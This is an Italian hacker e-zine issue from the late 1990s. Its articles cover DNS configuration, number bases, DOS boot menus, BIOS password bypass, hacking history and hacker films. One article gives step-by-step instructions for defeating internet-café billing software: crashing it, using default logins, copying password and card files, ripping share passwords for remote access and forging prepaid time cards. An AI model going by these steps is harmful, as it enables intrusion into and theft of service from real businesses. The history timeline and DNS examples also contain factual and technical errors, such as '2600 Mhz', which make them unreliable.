/etc/resolv.conf In questo file c'e' il nome del dominio in cui si deve cercare i computer della rete e l'elenco dei nameserver. Se il computer stesso e' il nameserver (come nel nostro caso). /etc/resolv.conf deve contenere l'indirizzo 127.0.0.1. Quindi il file risultera' cosi': search server nameserver 127.0.0.0 /etc/host.conf order host,bind multi on /etc/named.boot ; ; directory /var/named cache . named.ca primary retel named.retel primary 0.0.127.in-addr.arpa named.local primary 1.168.192.in-addr.arpa named.rev Dove: 1)la prima riga specifica la directory che contiene gli altri file di configurazione di named; 2)la seconda riga indica il file utilizzato come cache e' named.ca. Tale file inizializza la cache del deamon named con l'elenco dei nameserver del dominio root (e si indica con un punto); 3)la riga che comincia con primary retel indica che il file contiene le informazioni della zona (o dominio) retel e' named.retel; questo file e' usato del deamon named per risolvere gli indirizzi IP del dominio retel; 4)primary 0.0.127.in-addr.arpa specifica il file named.local come reverse address della rete 127.0.0 (in pratica risolve 127.0.0.1 in localhost); 5)la riga che inizia con primary 1.168.192.in-addr.arpa specifica il file named.rev come reverse della rete 192.168.1 (in pratica risolve gli indirizzi IP in nomi); ** NB: Il nostro nameserver risolve gli indirizzi IP tramite i propri file named.retel o named.ca, qualora i tentativi falliscano la possibilita' di risolvere gli IP tramite altri nameserver, ad esempio tramite i nameserver di un ISP, per tale scopo e' necessario aggiungere al file /etc/named.boot una riga simile a questa: forwarders IP_nameserver_ISP_1 IP_nameserver_ISP_2 IP_namserver_ISP_1 e 2 sono gli indirizzi IP del DNS primario e secondario dell'ISP. /var/named/named.ca Questo file puo' essere lasciato cosi' come installato da Linux. /var/named/named.retel E' un nuovo file che deve essre creato dall'utente, esso contiene gli indirizzi IP e il nome del computer della vostra rete. Fate in modo che contenga quanto segue: @ IN SOA server.retel root.server.retel. ( 1 ;Serial 86400 ;Refresch: ogni giorno 3600 ;Retry: ogni ora 3600000 ;Expire: 42 giorni 86400 ) ;Minimum 1 settimana IN NS server1.retel. localhost. IN A 127.0.0.1 server IN A 192.168.1.10 num1 IN A 192.168.1.11 num2 IN A 192.168.1.12 num3 IN A 192.168.1.13 /var/named/named.local @ IN SOA server.retel. ( 1 ;Serial 86400 ;Refresch: ogni giorno 3600 ;Retry: ogni ora 3600000 ;Expire: 42 giorni 86400 ) ;Minimum 1 settimana IN NS server1.retel. 1 IN PTR localhost. /var/named/named.rev @ IN SOA server.retel root.server.retel. ( 1 ;Serial 86400 ;Refresch: ogni giorno 3600 ;Retry: ogni ora 3600000 ;Expire: 42 giorni 86400 ) ;Minimum 1 settimana IN NS server1.retel. 10 IN PTR server.retel. 11 IN PTR num1.retel. 12 IN PTR num2.retel. 13 IN PTR num3.retel. dove 10.11.12.13 sono i numeri dei computer della rete ciaoe' 192.168.1.[10]. Note: @ indica l'origine del dominio con riferimento alla riga corrispondente a questo file contenuta in /etc/named.boot SOA significa Start Of Authority (inizio della configurazione della zona di autorita') IN indica che il tipo di indirizzamento utilizzato e' relativo alla classe IP NS nameserver A e' il codice che precede un indirizzo l'IP PTR codice da utilizzare nelle righe che contraddistinguono il reverse address, e si usa nei file del dominio in-addr.arpa Dopo aver fatto tutto cio' dobbiamo eseguire il boot (riavviare) oppure eliminando (kill) il processo named ed rieseguirlo per attivare i cambiamenti. 1)Digitare il comando ps ax|grep named e premete invio. 2) Vedrete: 605 ? S 0:00 named 10568 10 S 0:00 grep named 3) Kill 605 e invio 4) named e invio e ora per verificare il corretto funzionamento: 1)digitate in una shell di comando nslookup 2)Al prompt > digitate il nome di un computer della vostra rete, esempio num2 (o l'indirizzo IP) e premete invio. Se otterrete tutti i dati del computer (Name:num2.retel - Address:192.168.1.12) significa che il named funziona correttamente. ͻ Ŀ SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE) ٺ ͼ Salve a tutti sono sempre Quequero, in questo articolo parleremo dei vari sistemi di numerazione che sono molto utilizzati nei linguaggi di programmazione e ci serviranno per comprendere molte cose. Iniziero' col parlare del sistema decimale che tutti conosciamo e che utilizziamo ogni di'. Questo sistema viene detto "decimale" perche' utilizza le potenza di...dieci, per farvi capire cosa intendo ecco un esempio alquanto banale, proviamo a scomporre il numero 1258: 1258 = 1x10^3 + 2x10^2 + 5x10^1 + 8x10^0 Per verificare se abbiamo fatto bene la scomposizione proviamo a moltplicare ogni valore per la sua potenza di 10 e poi lo sommiamo agli altri: 1x10^3 = 1000 + 2x10^2 = 200 + 5x10^1 = 50 + 8x10^0 = 8 = ----------- 1258 sembra che il risultato sia esatto, cio' vuol dire che siamo stati bravi ;)) Bene bene, questo e' stato solo un ripasso per introdurre il sistema di numerazione binario, cioe' quello usato dai nostri processori e comunque anche da qualunque componente elettronico, (calcolatrici, orologi digitali, radio, gps, modem, stereo ecc...) spero che vi siate chiesti almeno una volta come fa il computer ad aprire una finestra oppure una calcolatrice ad eseguire un calcolo "2-1", ebbene tutti i processori riescono a capire la differenza tra due stati di tensione cioe': 0 (potenziale basso) e 1 (potenziale alto), ecco l'importanza di questo sistema, ma come possiamo convertire un numero binario in decimale? Dal momento che conosciamo tutti i numeri binari (1 e 0 :) creiamo un numerino e convertiamolo, prendiamo per esempio questo: 11001011 = 1x2^7 + 1x2^6 + 0x2^5 + 0x2^4 + 1x2^3 + 0x2^2 + 1x2^1+ 1x2^0 1x2^7 = 128 + \ 1x2^6 = 64 + \ 0x2^5 = 0 + | 0x2^4 = 0 + ---- numeri binari convertiti in 1x2^3 = 8 + | decimali e sommati tra loro 0x2^2 = 0 + | 1x2^1 = 2 + / 1x2^0 = 1 = / ---------- 203 Il risultato 203 e' esatto? Verifichiamolo.....ma come possiamo farlo se finora abbiamo imparato solo a scomporre un numero in potenze di dieci e a convertire un binario in decimale? Bhe' semplice dovete riaprire i libri di matematica, ma non vi preoccupate perche' Quequero lo fara' per voi ;)) Ecco come si fa': ----------------- Numero decimale ----------------- Dividiamo per 2 <--- ---------------------- Il quoziente e' pari? ---------------------- SI / \ NO / \ ------- ------- / \ ------------- ------------- Scriviamo 0 Scriviamo 1 ------------- ------------- \ / \------------------/ --------------------- Il numero e' finito? --------------------- SI / \ NO / \ ------- ------- / \ ------------------- ---------- Prendi tutte le Continua ----- cifre e ribaltale ---------- ------------------- Bello il logaritmo vero? Spero di si, proviamo a vedere se 203 corrisponde realmente a 11001011, per farlo usiamo la colonnina che tanto odiavamo alle elementari: 203| 101|1 51|1 25|0 12|1 6|0 3|0 1|1 0|1 dall'alto al basso vediamo questi numeri 11010011 ma, come vi dicevo, dobbiamo ribaltarli cosi' avremo 11001011....esatto i numeri corrispondono!!!! Ovviamente non andrete mai a convertire i numri a manualmente visto che anche la calcolatrice di winzoz lo fa (dovete selezionare visualizza|scientifica) comunque un po' di cultura non guasta mai ;))) facciamo il resoconto di cio' che abbiamo appreso finora: Scomposizione di un numero decimale e conversione da: Binario--->Decimale--->Binario Affrontiamo ora il tipo di numerazione piu' importante cioe' quello esadecimale, (o base 16) questo tipo di numerazione differisce dalla decimale perche' ci sono 16 numeri invece che i soliti 0 1 2 3 4 5 6 7 8 9 e dalla binaria perche' ogni numero in base 16 equivale a 4 in base 2, siccome avrete le idee confuse ecco una tabella riassuntiva (la metto in verticale altrimenti non entra nel mio monitor da 14'') Decimale Binario Esadecimale 0 0000 0 1 0001 1 2 0010 2 3 0011 3 4 0100 4 5 0101 5 6 0110 6 7 0111 7 8 1000 8 9 1001 9 10 1010 A 11 1011 B 12 1100 C 13 1101 D 14 1110 E 15 1111 F Come facciamo a convertire un numero binario in esadecimale e viceversa? In base 16 le conversioni sono semplicissime dal momento che ogni numero esadecimale equivale a 4 binari quindi supponiamo di avere 8F5DA come fa' a diventare binario? Eccovi un altro esempio: 8 = 1000 F = 1111 5 = 0101 D = 1101 A = 1010 Possiamo dire che 8F5DA = 10001111010111011010. Vogliamo fare la solita verifica per vedere se abbiamo fatto tutti i calcoli bene? Credo di si, la domanda sorge ormai spontanea...come si fa'? Si divide il numero binario in gruppi di 4 cifre (a partire dalla meno significativa che e' l'ultima, la piu' significativa e' la prima) e se vede man mano a cosa corrisponde: 1010 1101 0101 1111 1000 A D 5 F 8 facciamo un po' di "reversing" sul numero ottenuto ed otteniamo come sospettato 8F5DA. Questo tipo di conversione "veloce" vale solo per il sistema Base2->Base16->Base2 Per fare i calcoli da Base16 a Base10 e vice versa le operazioni sono le stesse che abbiamo usato durante le conversioni Base2->Base10->Base2, ovviamente i sistemi di numerazione sono infiniti, un sistema caduto ormai nell'oblio e' stato quello in Base8 (ottale) ma possiamo convertire qualunque cosa in qualunque base, pensate che qualche settimana fa' ho fatto un CrackMe che calcolava il seriale da inserire in base 78, in numerazioni di questo genere ci sono sicuramente tutte le lettere dell'alfabeto e vengono usati anche simboletti sconosciuti alla razza umana, una cosa bella di questi sistemi e' che un numero come 1000000000000000000000000000000000000000 diventa cortissimo e magari simile a questo: ~1 ;)))) Prima di concludere anche questo articolo vorrei dirvi che non ho parlato volutamente della rappresentazione dei numeri negativi in base2 visto che utilizzano un particolare metodo detto "complemento a 2" estremamente difficile, se mi verra' chiesto scrivero' un articolo anche su questo ma vi assicuro che verrebbe estremamente lungo, ma lungo lungo lungo ;))) Ora voi vi starete chiedendo "Ma che cazz ce ne frega di conoscere come contano i calcolatori", in realta' l'argomento e' importante dal momento che un compilatore un linguaggio ad alto livello (quale puo' essere il c/c++ o il Pascal ecc...) una volta compilato non fa' altro che convertire tutto in Assembly che a sua volta converte tutto in esadecimale e che il processore converte in linguaggio macchina cioe' 10110101011 in codice binario. Ultima raccomandazione: se incontrate qualcosa del tipo 1512h e non sapete cosa cavolo sia (base8, 18 o 48) dovrete guardare in fondo, vedete quell'h? Quella indica che il numero si trova in base 16, eccovi l'ultima tabella: b = Binario o = Ottale d = Decimale h = Esadecimale quindi se smanettate con l'Assembly e dovete andare all'offset 00018F5Ah non domandatevi "come kazz si fa' ad avere un offset a 9 cifre" ma ricordate che l'ultima lettera minuscola vi indica sempre la base. Ora che siete dei matematici divertitevi (io odio la matematica) ;))))) Ciauzzzzzzzz Quequero P.S. Per commenti positivi scrivetemi a Blackfireshell@hotmail.com, quelli negativi ve li potete pure tenere ;) e tanto che state qui andate anche a visitare http://quequero.cjb.net ͻ Ŀ NAVIGHIAMO AL NETCAFE' IN ALLEGRIA ٺ ͼ PRECISAZIONI inizio col chiarire che questa guida e' un po il completamento di quello scritto su bfi infatti vi consiglio inanzitutto di andarvi a leggere l'articolo su bfi3 " divertirsi al cybercaffe' " di [goku] purtroppo le mie conoscenze sono limitate quindi vi prego di essere clementi ALLEGATI ci dovrebbe essere allegato a questo numero di NewBies , il programma per la gestione delle schede CManager di cui parlo verso la fine di questo articolo E' mooooooooooooolto semplice da usare , logicamente questo e' usato solo da alcuni " miei " netcafe' pero' penso possa interessare qualcuno ACCUMNZAMMO poter usare un account non vostro e da un numero di telefono diverso di quello di casa credo garantisca una totale anonimita' : la cosa piu' importante per hackare sicuri I sistemi di protezione usati dai gestori di questi locali sono molti e diversi, in quest'articolo ci occuperemo solo del tipo di protezione - caccio mone - mi danno la tessera cartacea - digito al programma di windzoz user e pass - posso accedere alla rete bene , iniziamo col guardare delle cose importanti sulla macchina da fregare, vediamo se e' possibile accedere al drive floppy ,di che tipo di connessione si tratta (la maggior parte ISDN collegati a un computer server) e cosa + importante il tipo di programma , non e' sempre infatti sara' possibile hackarlo ecco presentati gli strataggemmi che conosco : 1 fotti password del bios 2 cerca bugs nel programma 3 inserisci passwords a random 1 bene per sfruttare questo "exploit" e' necessario far crashare windzoz o riavviare manualmente il computer fingendosi dei totali ingoranti informatici, richiamare l'attenzione dell "amministratore" di rete (che a volte e' lo stesso barista :) , fargli digitare la magica parolina nel bios e spiarlo mentre fa quest'operazione una volta fatto cio' basta riavviare di nuovo il computer accertandovi che nessuno vi stia osservando , digitare la pass e prima del caricamento di windzoz digitare F8 in modo che venga caricato il menu che vi chiede cosa avviare : scegliete msdos con supporto di rete e da dos cercate con il programma EDIT i vari file che windows carica all'avvio: win.ini, system.ini etc.. e nella cartella esecuzione automatica C:\windows\menu avvio\programmi\esecuzione automatica eventuali richiami a qualche file tipo netcafe'.exe , internet.exe , manager.exe (dipende del programma usato) e cancellare questi collegamenti , ririavviare il computer ed accedere a windzoz come utente normale senza alcuna limitazione , nel caso in cui trovaste un eventuale password all'avvio di win vi consiglio di andare a consultare la pagina di cavallo de cavallis riguardo il rippaggio di pwd (http://members.tripod.com/~CavallodeCavallis/) AGGIORNAMENTO : ho scoperto in rete alcuni programmi che dovrebbero permettere di scovare la password del bios , se ne avete la possibilita' vi consiglio di usarli assieme al sistema sopra descritto 2 spremere al massimo il programma di protezione , col programma che si usa molto nei netcafe' dalle mia parti basta :avviare una scheda , cliccare sulla icona web , far partire un paio di internet explorer , tornare al menu del programma principale clikkare su esci , terminare la scheda premere il classiko alt+tab e poter navigare aggratis Purtroppo da un po di tempo hanno riconfigurato il programma e di conseguenza ho dovuto provvedere a trovarne altri : se c'e' provate a spostare la barra da sotto in alto , il programma dira' che la barra deve stare sotto , lasciatela sopra , uscite dalla scheda eeeeeeee tada' : il programma crasha e otterrete il computer a vostra + completa disposizione 3 sempre riguardo il programma al quale mi sono finora riferito vi sono impostate delle password e user di default :1,1 2,2 3,3 4,4 admin,admin il + interessante in quanto permette di riconfigurare il programma totalmente , se potete accedere a questa funzione siete apposto in quanto vi bastera' togliere l'esecuzione automatica di questo programma , riavviare il computer e accedervi con tutti i privilegi Una volta procuratovi il tipo di utenza diciamo superroot ci sono molte cose che potete fare , inanzitutto vi sconsiglio (per etica) di procurare un qualsiasi danno al computer o al suo gestore , in questo modo eviterete di essere beccati e potrete conservare + a lungo i vostri trucchi Allora andate nel pannello di controllo , rete e segnatevi tutto cio' che vedete scritto : ip , gateway ,tipo di condivisione ... Da casa portatevi un dischetto sul quale avrete copiato i programmi consigliati da cavallo de cavallis nel suo documento (http://members.tripod.com/~CavallodeCavallis/), e rippatevi le pass di condivisione in modo da poter accedere al computer anche da casa. Recatevi nella cartella del programma di gestione (es. /netcafe) e controllate che file sono presenti e copiate su dischetto i + interessanti (es. pass.log tessere.cazz ) osservate anche se dentro alla cartella c'e' oltre all'eseguibile regolare del manager ce ne sia uno di manager tessere nel caso ci fosse lanciatelo pure , osservate un po' come funziona e semmai generatevi una tessera da 80 ore :) in modo da poter accedere al netcafe' gratuitamente anche in futuro. Il file controllato ad ogni inserimento di pass e user di solito non si trova nella stessa cartella dove c'e' appunto l'eseguibile , per poter analizzare meglio il programma percio' vi consiglio di copiarlo su dischetto in modo da poterlo analizzare a casa tranquillamente. se sono attivate le condivisioni fatevi un giro tra gli hd , potreste scoprire qualcosa interessante, io ad esempio ultimanente ho scoperto il file delle password su un computer diverso da quelli usati per il servizio netcafe' ;P Spero che questo articolo sia stato utile a qualcuno di voi , vi raccomando di non fare lamerate sui computer che " hackererete " , non recate alcun tipo di danno alla macchina (niente formattazioni , virus , trojan) e se avete qualcosa da chiedere , qualche trucco da voi scoperto, etc.. fatelo pure a unlt@freemail.it Unlt ͻ Ŀ COME CREARVI UN MENU DI BOOT PERSONALIZZATO ٺ ͼ <-<-[ Kome krearvi un men di boot personalizzato ]->-> Kuante volte avreste voluto ke non ci fosse il SoftIce in background, ma vi serve per crackare? Kuante volte avreste voluto karikare lo Scitech Display Doctor v. x.xx (inserisci la versione pi nuova) solo per giokare, e vi tokkato editare l'autoexec? Boh, solo voi lo sapete ;) Cmq, ekko ke vi vengo in aiuto kon kuesto semplice artikoletto, ke tratta un paio di kosette ke a me sono servite moltissimo. Vi insegner infatti kome si krea un men di boot. Per farlo servono solo due kose: il config.sys e l'autoexec.bat e sikkome li avete tutti, partiamo in batta kon l'articolo! Allora, inanzitutto da nel men avvio, scrivete "sysedit" senza virgolette. Vi apparir un inquietante finestra "Editor di configurazione di sistema", ke altro non ke un editor di testo MDI (multi document interface) con aperti i maggiori file di sistema, kome win.ini, autoexec.bat ecc. Iniziamo con la modifica del config.sys. Nella prima riga dovrete inserire: [menu] menuitem , menuitem , ecc.... In questo modo all'avvio di WiNsOzZ apparir un men che vi chiede di scegliere l'opzione di avvio. Una volta finiti i menuitem, dovrete inserire una riga con scritto: menudefault , Questa riga indicher il men che sar selezionato di default e il numero di secondi che avrete a disposizione per scegliere. Adesso mettete delle parti: [] istruzioni da eseguire [] istruzioni da eseguire e cos via per tutti i menuitem che avete inserito. In questo config, appena sceglierete una data voce di men, verrano eseguite le istruzioni relative alla sua sezione. Esiste inoltre una sezione [common] istruzioni che va inserita per forza, e indica le istruzioni da eseguire in ogni kaso. Perci, solitamente conviene ricopiare il vecchio config dentro common, a meno che non abbiate un particolare bisogno di inserire kualke device o altro in alcuni menuitem soltanto. Fatto kuesto, salvate il config e passate all' autoexec.bat Kui la storia molto + semplice: basta inserire alla fine un goto %config% Poi metterete tanti : quanti sono i vostri menuitem. Tra un :nomemen e l'altro, inserirete le istruzioni che volete siano eseguite. Vi faccio un esempio pratico inkollando il mio config e il mio autoexec... Ke vi possano servire per kapire meglio... ---------------------------------CONFIG.SYS----------------------------------- [menu] <-- inserisce un men di boot menuitem NORM,Modalit Normale <-- menuitem NORM (scriver Modalit Normale) menuitem SOFT,Modalit SoftIce <-- menuitem SOFT (scriver Modalit SoftIce) menudefault NORM,10 <-- setta NORM come default. Tempo: 10 sec. [NORM] <-- roba da caricare scegliendo NORM [SOFT] <-- roba da caricare scegliendo SOFT [common] <-- roba da caricare SEMPRE device=C:\WINDOWS\COMMAND\display.sys con=(ega,,1) Country=039,850,C:\WINDOWS\COMMAND\country.sys ------------------------------------FINE-------------------------------------- --------------------------------AUTOEXEC.BAT---------------------------------- SET BLASTER=A240 I5 D0 H6 P300 E640 T6 mode con codepage prepare=((850) C:\WINDOWS\COMMAND\ega.cpi) mode con codepage select=850 keyb it,,C:\WINDOWS\COMMAND\keyboard.sys goto %config% <-- va al valore di config (variabile che indica il men scelto) :SOFT <-- se scegliete Modalit SoftIce C:\s3vbe20.bat<-- esegue st file :NORM <-- se scegliete Modalit Normale C:\s3vbe10.bat<-- esegue st'altro file :common <-- roba da eseguire SEMPRE ------------------------------------FINE-------------------------------------- Oki doki, spero abbiate kapito, sta kosetta a me servita un bordello (il SoftIce che breakava ad ogni errore mi dava fastidio!), divertitevi!! SpYmAsTeR spymaster99@usa.net ͻ Ŀ COME SCAVALCARE LA PASSWORD DEL BIOS BY YAGO ٺ ͼ Una delle cose maggiormente frustranti e' il rimanere chiusi fuori di casa , con le chiavi chiuse dentro. Altrettanto frustrante e' rimanere fuori da un computer bloccato dalla password del B.I.O.S. (specialmente se e' il proprio , e nel digitarla ci e scappato il dito su due tasti in piu' , e non si sa quali eh eh eh , buona come scusa??). Niente panico, la pass del B.I.O.S. e' una delle cose piu' facili da scavalcare. Bisogna precisare che il B.I.O.S. dipende dal chip (un integrato) che c'e' sulla piastra madre, e chi le costruisce usa diversi tipi di chip a seconda del modello di piastra. I B.I.O.S. piu' conosciuti sono AWARD AMD e AMI, ce ne sono altri ma io non li conosco e sono poco diffusi. Su alcune versioni del B.I.O.S. AWARD si puo' provare a digitare il numero 586586,su alcune versioni AMI provare la combinazione dei tasti ALT CTRL SHIFT E BARRA, non so se funzionano, sono solo voci raccolte qua e la. Con questi sistemi la pass pero' resta invariato e verra' richiesta al successivo riavviamento,e per poterla cambiare bisogna entrare con il tasto CANC nel B.I.O.S. e rimuoverla ma bisogna conoscerla. Un sistema sicuro e quello di avere accesso all'interno dal cabinet (non e quello dove si tira l'acqua ma il contenitore del computer)e se non e' lucchettato basta armarsi di un cacciavite a croce e levare le viti che lo fissano sul retro e levare il coperchio e ooooh ecco la piastra madre esposta impudicamente agli sguardi vogliosi e accessibile a tutti i palpeggiamenti che desiderate. Attenzione a quando ci mettete le mani.....se non si ha dimestichezza e' meglio scollegare fisicamente il cavo di alimentazione dalla presa perche' anche se e' spento il 220 V arriva all'interruttore, e state attenti ai cavi dei dischi fissi e agli altri, e' troppo semplice staccarli inavvertitamente e poi qualcosa non funzionera', se dovete staccarli per accedere sotto segnatevi su un foglio come erano disposti segnando i colori ( per i cavi multipli dei dischi da un lato c'e' una striscia colorata di rosso), nel dubbio segnateli voi con un pontino di pennarello (cavo e dove si attacca) non fidatevi della memoria...... al terzo cavo che staccate avrete gia' dimenticato dove era attaccato il primo eh eh (cose gia' successe..haa l'esperienza). Adesso che avete il computer aperto sotto le mani avrete due strade da percorrere la prima quella del jump la seconda quella della batteria. Il metodo del jump e' la piu' facile. Il jump sono dei ponticelli tra due terminali e si levano e si mettono con una pinzetta oppure con le dita (se ce l'avete fine )normalmente ci sono tre contatti che sporgono dalla piastra e il jump fa da ponte tra il primo e il secondo oppure tra il secondo e il terzo oppure tra nessuno dei tre. Se avete il manuale della piastra siete a cavallo,cercate alla voce password e vi sara' indicata la sigla del jump e come deve essere messo per abilitare o meno la pass (sulla mia e' il JP2 settato tra il 2 e il 3 ). Togliendolo o cambiandogli posizione si puo' entrare ma non modificare la pass (per quello bisogna saperla) rimettendolo com'era si riabilita la pass come era stata impostata (questo puo essere utile per non lasciare tracce eh eh ). Se non avete il manuale della piastra e non avete fiuto (leggi esperienza) lasciate stare i jump correreste il rischio di danni permanenti se spostate il jump sbagliato ( tipo la tensione di alimentazione del processore), e siccome ci sono decine di tipi di piastre con diposizioni dei jump diversi non si puo' stabilire un jump preciso. Il secondo metodo quello della batteria e piu' complesso ma e sicuramente decisivo. Bisogna dire che tutte ma tutte le piastre madri hanno la batteria che alimenta il B.I.O.S. CMOS (Binary Input Ouput System - Complementary Metal Oxide Silicio questo per i tre o quattro che non lo sapessero....) il sistema CMOS consuma pochissima corrente, ma ha bisogno della tensione per mantenere la memoria,ecco perche' le batterie durano piu' della vita delle piastre e c'e' qualcuno che non sa dell'esistenza. Saputo questo si capisce che se noi togliamo la batteria che alimenta il CMOS questo si dimentichera' anche come si chiama (questo anche agli orologi digitali e agendine elettroniche). Pero' su alcune piastre c'e' un condensatore elettrolitico che resta carico per un po di tempo ( anche per un giorno) questo per permettere la sostituzione della pila questa cosa puo' disturbare il reset della memoria. Ecco perche' dopo aver tolto la pila e meglio fare un ponte con uno spezzone di filo sui contatti rimasti vuoti della pila sulla piastra cosi si scarichera' definitivamente il circuito. Attenzione che se il computer e acceso, alimentera' anche questa memoria rendendo vani i tentativi di resettare la CMOS. Le batterie possono essere di vari tipi ma ci sono sempre , ne ho viste di metallo a bottone di tre volt come nelle macchine fotografiche o agendine da levarsi facendo leva sul supporto o con una lamella avvitata che le teneva in sede (queste batterie si scaricano facilmente anche prendendole con i polpastrelli percio' maneggiatele con cura). C'e' il modello che sembra un integrato (chip) pero con solo quattro terminali due per parte invece che otto per parte,queste vanno dissaldate dalla piastra, poi c'e' il modello a barilotto ,e' un cilindro lungo tre cm per due di diametro con delle nervature sono in pratica tre o piu' batterie a bottone ricoperte di un strato di plastica che le tiene unite , di colore blu o marron o nere ma dipende dalle marche, anche queste vanno dissaldate. Prima di dissaldare le batterie provate a fare un ponte con uno spezzone di filo tra i poli ( fino che riuscirete a tenerlo in mano, quando scotta da ustionarvi lasciatelo :-)))) scherzo) basta un secondo, appena la tensione va a zero il CMOS si azzera. Attenzione che si resetta anche il resto della CMOS cioe' anche i settaggi dei dischi fissi e le impostazioni della memoria ecc. Ricordate che quella batteria non durera' a lungo dopo una scaricata cosi' e probabilmente la macchina vi chiedera' la data e l'ora tutte le volte che l'accendete finche' non vi procurate una pila nuova. Se dovete dissaldare la pila fate attenzione al saldatore che non provochi con gocce di stagno ponti tra due piste o addirittura le stacchi con il calore dalla piastra!!!! Fate un po di prove con vecchie schede per farvi la mano. Per la cronaca archeologica una volta c'erano delle batterie esterne incollate sul fondo con un cavetto che le collegavano alla piastra madre. Se con questi sistemi non riuscite ad entrare nella macchina ..........asportate il disco fisso e fatelo leggere ad un altra macchina.......ma questo alla prossima puntata.... Ciao Yago __ __ _ ______ _ _ | |_| | / \ | ____| | / / | |/ \| | | |/ / | La storia dell'Hacking | | _ | / \ | |___ | |\ \ |__| |__|/ \|______|_| \_\ Newbies, vi siete mai chiesti come e' nato l'hacking? Semmai non volete sapere tutta la storia ma solo i principali passi? T0rment0 vi parlera' della nascita dell'Hacking basandosi sulle tappe piu' importanti svolte da questo movimento underground: Settembre 1970 - John Draper, anche conosciuto come come Capitano Crunch, , scopre che un fischietto offerto nelle scatole di cereali da colazione chiamate appunto Cap'n Crunch, generavano perfettamente 2,600 cicli per secondo, ovvero la 2600 Mhz, usata in quel tempo dalla At&T per gestire le telefonate. Inizio' cosi' a chiamare gratis. Agosto 1974 - Kevin Mitnick, il leggendario hacker, inizia la sua carriera di hacker introducentosi in una varieta' di sistemi, includento l'entrata in vari server di banche distruggendo dati, alterando i crediti dei suoi nemici e disconnettendo la linea telefonica a celebrita'. La sua azione eroica, l'hackeraggio del Comando di Difesa nel Nord America nel Colorado, ispiro' il film War Games, realizzato nel 1983. Luglio 1981 - Ian Murphy, un ragazzo di 23 anni conosciuto anche con il nome di Capitano Zap sulla rete, guadagno' molta notorieta' quando attacco' la Casa Bianca e il Pentagono. Settembre 1987 - Il gruppo GCCC, German Chaos Computer Club, attacca i computer della NASA Dicembre 1987 - La rete internazionale di IBM viene paralizzata da un messaggio Natalizio di un hacker Luglio 1988 - La banca dell'Unione Svizzera perde quasi 32 milioni di dollari, 'grazie' a degli hacker. Nello stesso tempo Nicholas Whitely viene arrestato perche' propagava virus Ottobre 1989 - Un hacker quindicenne attacca un computer di Difesa Americano Novembre 1990 - Honk Kong introduce la legistlazione anti-hacker Agosto 1991 - Gli Israeli arrestano un ragazzo di 18 anni per aver attaccato banche straniere, e per il traffico di carte di credito Luglio 1992 - A New York, cinque ragazzi furono accusati di aver bloccato i computer a molte agenzie telefoniche regionali, computer di aziende e computer universitari Dicembre 1992 - Kevin Poulsen, un hacker sconosciuto chiamato 'Dark Dante' sulla rete, fu accusato di aver sottratto le ordinanze delle forze d'assalto relative ad un esercizio delle Forze Aeree Americane. Fu accusato di furto dei segreti Americani e fu condannato a 10 anni di carcere Novembre 1996 - Gli hackers propagano virus attraverso Internet Febbraio 1997 - Degli hackers Tedeschi mostrano in tv la strada da compiere per fregare soldi da un account bancario usando uno speciale programma preso dalla Rete Beh credo che oggi avvenimenti del genere non ci scandalizzano piu' di tanto, mentre una volta chi faceva cio' era considerato un genio. Sara' forse vero che i geni sono deltutto scomparsi o che si possono contare sulle dita della mano?? Beh, ai posteri l'ardua sentenza... --->T0rment0<--- ͻ Ŀ L'ANGOLO DEI FILM INTERESSANTI ٺ ͼ Allora qui di seguito riportero' un lista di film che secondo me sono fondamentali x chi vuole avvicinarsi al mondo degli hackers: Piccola premessa...l'ordine e' random ed esce dalla mia mente dopo che sono stato in baita con alcuni amici x 2 gg e se non sono morto di tumore....ho perso 5-6 anni di vita....una sola cosa raga....io stestate smetto di fumare, come e' vero che lascero' i picci e mi mettero' a fare uncinetto o ricamo a punto croce...magari insieme al ns vicepresidente...che ne dici? hihihi HACKERS = uscito nel 1995 se non erro (o era 96???) ha come protagonista uno degli attori di Trainspotting (eheheh!). A parte il fatto che nel film viene letto un po' del Manifesto di Mentor (e' gia' questo basterebbe x definirlo un buon film) si vede anche come i gruppi americani possano seguire reti televisive, possano fottere l'at&t quando vogliono solo con un registratorino, e soprattutto si vedono gli attori che utilizzano le tecniche del trashing e del s.e. x le intercettazioni e la scoperta di password. Bella l'idea di una mega alleanza tra tutti gli hacker di tutti i paesi del mondo ci si potrebbe pensare su (anke se credo che esista gia'...x la vera elite pero' non x newbies come noi eheheheh). Le uniche cose brutte da segnalare sono il fatto che la pass usata sia GOD e che sugli schermi degli hacker ci siano fuochi e fiamme mentre di solito al max c'e' un $ o una # se siete + fortunati ^__^. Sappiate che per girare questo film sono stati consultati ex-membri del LOD la piu' famosa crew americana (Legion Of Doom) tra i quali vi erano Lex Luthor (fondatore della LOD) e un certo Mentor... WARGAMES = il + vecchio e il + mitico, una vera e propria pietra miliare nei film sugli hacker, la storia dimostra che la vita degli hacker si basa principalmente sul C|_|L0 e sulla tenacia, xche' se avete visto il film potete comprendere che quella benedetta pass che cercava con tutta l'anima (joshua) il protagonista se la e' guadagnata imo.... GIUDICE DREDD = film che si potrebbe considerare cyberpunk ma che non credo centri molto con gli hacker...cmq...giudicate voi... NIRVANA = originale film anche questo, con degli attori mitici secondo me... bella l'idea del virus che fa diventare il protagonista del gioco (Salvatores) appena fatto da Cristoqualcosa Lambert, un essere pensante e anche l'idea di riuscire ad hackerare con la mente; il tutto si svolge in una fantastica ambientazione cyberpunk, x non parlare del cilum che i protagonisti si fumano sul camper di Stefania Rocca supermegattrezzato (il camper non i cilum :P) il che fa venire in mente i signori della truffa. Tipici temi cyberpunk sono (se non dico caxxate) le multinazionali, la netta separazione, con tanto di confine, tra ricchi e poveri, il proliferarsi di computer, robottini, furgoni che parlano (kit??? eheheh) quindi tutti gli elementi giusti ci sono...che aspettate a vederlo? I SIGNORI DELLA TRUFFA = finche' non avrete visto questo film non sarete mai un hacker (eheheheh). In questo film si passa dagli anni 60 con l'inizio degli attacchi ai sistemi fino agli anni 80 con un mitico gruppo che buca le banche et simili x poi proporre le soluzioni ai problemi riscontrati durante l'attacco. Un saluto lo vorrei mandare a Hi-Fi che se ce ne fosse uno uguale qui in italia la telecom sarebbe gia' fallita... Nel film cmq si vede avverare l'idea di un decrittatore che riesce a risolvere tutto, e questo fa gola a molti... a voi scoprire come finisce... BLADE RUNNER = una gallata di film (come si dice qui) bella l'idea del cacciatore di replicanti e anke l'idea di attribuire dei sentimenti al replicante...il tutto viene girato in una Los Angeles del 2019 che William Gibson (se non sapete chi e'... male!!!!! cmq e' il grande fondatore del genere letterario cyberpunk insieme a Bruce Sterling, altro mito) aveva paragonato 